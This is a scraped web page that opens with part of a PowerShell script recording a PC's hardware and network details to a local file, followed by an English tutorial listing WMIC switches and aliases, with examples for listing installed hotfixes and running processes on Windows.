$config = $_.GetRelated('Win32_NetworkAdapterConfiguration') 
$pcip.IP = $config | Select-Object -expand IPAddress
$pcip
}
foreach($aip in $pcip) {
"IP:	"+$aip.IP | Out-File -FilePath $fname -Append -Encoding Default
}
#имя активного пользователя
"username:	"+$pcn.PrimaryOwnerName | Out-File -FilePath $fname -Append -Encoding Default
#модель ноутбука
"CS Model:	"+$pcn.Model | Out-File -FilePath $fname -Append -Encoding Default
#процессор
$num = 0
foreach($processor in $CPU) {
$num = $num+1
"CPU "+$num+":	"+$processor.Name | Out-File -FilePath $fname -Append -Encoding Default
}
#материнская плата
"MB:	"+$MB.Product | Out-File -FilePath $fname -Append -Encoding Default
#оперативная память
$num = 0
foreach($memory in $MEM) {
$num = $num+1
"MEMORY "+$num+":	"+$memory.PartNumber+"	"+$memory.Capacity+"	"+$memory.Speed | Out-File -FilePath $fname -Append -Encoding Default
}
#диски
$num = 0
foreach($disk in $DD) {
$num = $num+1
"DISK "+$num+":	"+$disk.FriendlyName+"	"+$disk.Size+"	"+$disk.MediaType | Out-File -FilePath $fname -Append -Encoding Default
}

It’s always cool to work with a command prompt, batch file, etc. I still love to do a lot of work with command prompts and automate things with batch files. In this article, I will list you WMI Commands (Windows Management Instrumentation) that would be helpful to run a query within Windows 11/10/8/7 for various purposes.

Windows Management Instrumentation Command line or WMIC

wmic

/NAMESPACE           Path for the namespace the alias operate against.
/ROLE                Path for the role containing the alias definitions.
/NODE                Servers the alias will operate against.
/IMPLEVEL            Client impersonation level.
/AUTHLEVEL           Client authentication level.
/LOCALE              Language id the client should use.
/PRIVILEGES          Enable or disable all privileges.
/TRACE               Outputs debugging information to .
/RECORD              Logs all input commands and output.
/INTERACTIVE         Sets or resets the interactive mode.
/FAILFAST            Sets or resets the FailFast mode.
/USER                User to be used during the session.
/PASSWORD            Password to be used for session login.
/OUTPUT              Specifies the mode for output redirection.
/APPEND              Specifies the mode for output redirection.
/AGGREGATE           Sets or resets aggregate mode.
/AUTHORITY           Specifies the <authority type> for the connection.
/?[:<BRIEF|FULL>]    Usage information.

Read: WMIC command give Access is denied error when connecting remotely

ALIAS                    - Access to the aliases available on the local system
BASEBOARD                - Base board (also known as a motherboard or system board)
                           management.
BIOS                     - Basic input/output services (BIOS) management.
BOOTCONFIG               - Boot configuration management.
CDROM                    - CD-ROM management.
COMPUTERSYSTEM           - Computer system management.
CPU                      - CPU management.
CSPRODUCT                - Computer system product information from SMBIOS.
DATAFILE                 - DataFile Management.
DCOMAPP                  - DCOM Application management.
DESKTOP                  - User's Desktop management.
DESKTOPMONITOR           - Desktop Monitor management.
DEVICEMEMORYADDRESS      - Device memory addresses management.
DISKDRIVE                - Physical disk drive management.
DISKQUOTA                - Disk space usage for NTFS volumes.
DMACHANNEL               - Direct memory access (DMA) channel management.
ENVIRONMENT              - System environment settings management.
FSDIR                    - Filesystem directory entry management.
GROUP                    - Group account management.
IDECONTROLLER            - IDE Controller management.
IRQ                      - Interrupt request line (IRQ) management.
JOB                      - Provides  access to the jobs scheduled using the schedule service
LOADORDER                - Management of system services that define execution dependencies.
LOGICALDISK              - Local storage device management.
LOGON                    - LOGON Sessions.
MEMCACHE                 - Cache memory management.
MEMORYCHIP               - Memory chip information.
MEMPHYSICAL              - Computer system's physical memory management.
NETCLIENT                - Network Client management.
NETLOGIN                 - Network login information (of a particular user) management.
NETPROTOCOL              - Protocols (and their network characteristics) management.
NETUSE                   - Active network connection management.
NIC                      - Network Interface Controller (NIC) management.
NICCONFIG                - Network adapter management.
NTDOMAIN                 - NT Domain management.
NTEVENT                  - Entries in the NT Event Log.
NTEVENTLOG               - NT  file management.
ONBOARDDEVICE            - Management of common adapter devices built into
                           the motherboard (system board).
OS                       - Installed Operating System/s management.
PAGEFILE                 - Virtual memory file swapping management.
PAGEFILESET              - Page file settings management.
PARTITION                - Management of partitioned areas of a physical disk.
PORT                     - I/O port management.
PORTCONNECTOR            - Physical connection ports management.
PRINTER                  - Printer device management.
PRINTERCONFIG            - Printer device configuration management.
PRINTJOB                 - Print job management.
PROCESS                  - Process management.
PRODUCT                  - Installation package task management.
QFE                      - Quick Fix Engineering.
QUOTASETTING             - Setting information for disk quotas on a volume.
RDACCOUNT                - Remote Desktop connection permission management.
RDNIC                    - Remote Desktop connection management on a specific
                           network adapter.
RDPERMISSIONS            - Permissions to a specific Remote Desktop connection.
RDTOGGLE                 - Turning Remote Desktop listener on or off remotely.
RECOVEROS                - Information that will be gathered from memory when the
                           operating system fails.
REGISTRY                 - Computer system registry management.
SCSICONTROLLER           - SCSI Controller management.
SERVER                   - Server information management.
SERVICE                  - Service application management.
SHADOWCOPY               - Shadow copy management.
SHADOWSTORAGE            - Shadow copy storage area management.
SHARE                    - Shared resource management.
SOFTWAREELEMENT          - Management of the  elements of a software product installed 
                           on a system.
SOFTWAREFEATURE          - Management of software product subsets of SoftwareElement.
SOUNDDEV                 - Sound Device management.
STARTUP                  - Management of commands that run automatically when users 
                           log onto the computer system.
SYSACCOUNT               - System account management.
SYSDRIVER                - Management of the system driver for a base service.
SYSTEMENCLOSURE          - Physical system enclosure management.
SYSTEMSLOT               - Management of physical connection points including ports,  
                           slots and peripherals, and proprietary connections points.
TAPEDRIVE                - Tape drive management.
TEMPERATURE              - Data management of a temperature sensor (electronic thermometer).
TIMEZONE                 - Time zone data management.
UPS                      - Uninterruptible power supply (UPS) management.
USERACCOUNT              - User account management.
VOLTAGE                  - Voltage sensor (electronic voltmeter) data management.
VOLUME                   - Local storage volume management.
VOLUMEQUOTASETTING       - Associates the disk quota setting with a specific disk volume.
VOLUMEUSERQUOTA          - Per user storage volume quota management.
WMISET                   - WMI service operational parameters management.
CLASS     - Escapes to full WMI schema.
PATH      - Escapes to full WMI object paths.
CONTEXT   - Displays the state of all the global switches.
QUIT/EXIT - Exits the program.

Here is an example:

QFE command is something I often use to find out the list of hotfixes or security updates applied to the system.

Open the command prompt and type in This will give you the list!

Caption                                        CSName      Description      HotFixID    InstalledBy                  
 http://go.microsoft.com/fwlink/?LinkId=161784  CAPTAINDBG  Update          KB971033   NT AUTHORITY\SYSTEM
 http://support.microsoft.com/?kbid=2079403     CAPTAINDBG  Security Update KB2079403  NT AUTHORITY\SYSTEM   
 http://support.microsoft.com/?kbid=2207566     CAPTAINDBG  Security Update KB2207566  NT AUTHORITY\SYSTEM 
 http://support.microsoft.com/?kbid=2281679     CAPTAINDBG  Security Update KB2281679  NT AUTHORITY\SYSTEM
 http://support.microsoft.com/?kbid=2286198     CAPTAINDBG  Security Update KB2286198  NT AUTHORITY\SYSTEM
 http://support.microsoft.com/?kbid=2296011     CAPTAINDBG  Security Update KB2296011  NT AUTHORITY\SYSTEM

Read next: How to repair or rebuild the WMI Repository on Windows 11/10.

You can use WMIC command line to find & check running processes by name on your Windows 11/10 computer. We show you how. A simple WMIC command can help you get a list of all processes running on your computer. Instead of using Task Manager, you can give this WMIC command a try to get the job done.

What does the WMIC display about the process?

  • ExecutablePath
  • KernelModeTime
  • PageFileUsage
  • Priority
  • PageFaults
  • ReadTransferCount
  • SessionID
  • TerminationDate
  • WorkingSetSize
  • WriteOperationCount
  • VirtualSize
  • WindowsVersion
  • WriteTransferCount
  • PeakPageFileusage

Before you proceed, you should know that the WMIC tool is being deprecated now and has been superseded by Windows PowerShell for WMI.

  1. Press Win+X to open the WinX menu.
  2. Select the Windows Terminal option.
  3. Enter this command: wmic process list
  4. Find the details on the Windows Terminal window.

It is possible to use Command Prompt and the Command Prompt instance in Windows Terminal. Either way, you will get the same result. However, here we have used the Windows Terminal to show you the example.

First, you need to open the WinX menu by pressing the Win+X buttons. Then, select the Windows Terminal option in the WinX menu.

As mentioned earlier, if you want to use the Command Prompt, you need to search for cmd in the Taskbar search box and click on the individual search result.

Once the Windows Terminal is opened, you need to enter this command:

wmic process list

How to find all processes using WMIC in Windows 11/10

Then, you can see all the information required to diagnose your PC or something else.

How to find all processes using WMIC in Windows 11/10

As we said before, you can find the ExecutablePath, Description, InstallDate, etc.

Disadvantage of using WMIC over Task Manager

When the Task Manager shows columns, task names, etc., separately, WMIC prompt displays them together. The only way to read the data is by exporting it to a text editing app, such as Notepad, Notepad++, etc.

Whether you execute the aforementioned command in the Windows Terminal or the standalone Command Prompt window, the data displays in a similar way. However, if you can overcome this problem in any way, you will find this method of knowing about all running processes pretty handy.

Read: How to check Battery level using WMIC in Windows

How can I see all the running processes?

How do I list all processes in Windows?

As described earlier, you can list all processes in Windows 11/10 with the help of the Task Manager. However, if you do not want to export anything, you can always try the WMIC method. A simple command in the Command Prompt or Windows Terminal can help you find all the running processes within moments.

Read: Disable Startup programs in Windows using WMIC.

Читайте также:  The frontend does not match zabbix database
Оцените статью
Хостинги